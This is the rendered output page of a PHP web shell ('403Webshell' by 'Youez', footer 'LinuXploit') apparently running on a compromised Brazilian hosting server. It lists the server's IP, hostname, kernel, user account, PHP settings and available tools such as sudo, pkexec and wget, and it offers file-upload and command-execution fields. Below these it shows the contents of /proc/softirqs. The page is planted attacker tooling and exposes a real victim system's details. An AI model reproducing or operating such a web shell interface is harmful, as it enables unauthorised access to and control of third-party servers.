403Webshell
Server IP : 23.111.136.34  /  Your IP : 216.73.216.136
Web Server : Apache
System : Linux servidor.eurohost.com.br 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : meusitei ( 1072)
PHP Version : 5.6.40
Disable Function : show_source, system, shell_exec, passthru, proc_open
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc//softirqs
                    CPU0       CPU1       CPU2       CPU3       CPU4       CPU5       CPU6       CPU7       CPU8       CPU9       CPU10      CPU11      CPU12      CPU13      CPU14      CPU15      CPU16      CPU17      CPU18      CPU19      CPU20      CPU21      CPU22      CPU23      
          HI:          5          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0
       TIMER: 1314830010 1117731556 1190334042 1194501300 1499783780 1528723260 1254694302  995918054  976513238 1065787439 1065093806 1014791612 1208489932 1331006125  759015862  665022735  613124248  601314512  441107482  752623970  785929613  679848172  563831938  538744865
      NET_TX:     572437      17821      18048      13548    1189691    1188831      12971      13713      14298      15503      15612      15150    1064693    1119439       1712       1652       3070       3261       1128       1365       1515       1547       1545       1553
      NET_RX:   25670392   25702379   26467631   23600645  368190214  370513866   20877316   21262544   23536871   24967684   24845876   24214600  364594795  364265528    7508456    7506015    8263645    7625423    3557780   12487525   11006692    7439827    5461401    4684265
       BLOCK:  206149902     169299      82992      44208      24047       6921   13984374   16083231   16781601   19568643   19761446   18840246      24478       3053       2507       1866       1615       1029    3488724    2808322    2896268    2944806    3187018    3489026
BLOCK_IOPOLL:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0
     TASKLET:        204          0          7          3   49062492   49162616         21          2          2          2          1          2   48641999   48534506          0          0          0          0          0          0          0          0          0          5
       SCHED: 1446285645  702484155  406631619  329606126  367158844  362301864  259264878  237594618  234764822  259818605  261663380  250645976  258899929  250540182  112054100  106236594  105991953  107446509   85309471  114086046  122972472  106714252   92792156   98002872
     HRTIMER:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0
         RCU:  553037722  472721402  501071221  501296844  616269420  630097742  555450371  434779944  420314270  442390322  440478048  426542520  475849557  516487551  296837766  270042197  253614024  244248345  171035713  283258351  287684036  262818240  228216093  211363741

Youez - 2016 - github.com/yon3zu
LinuXploit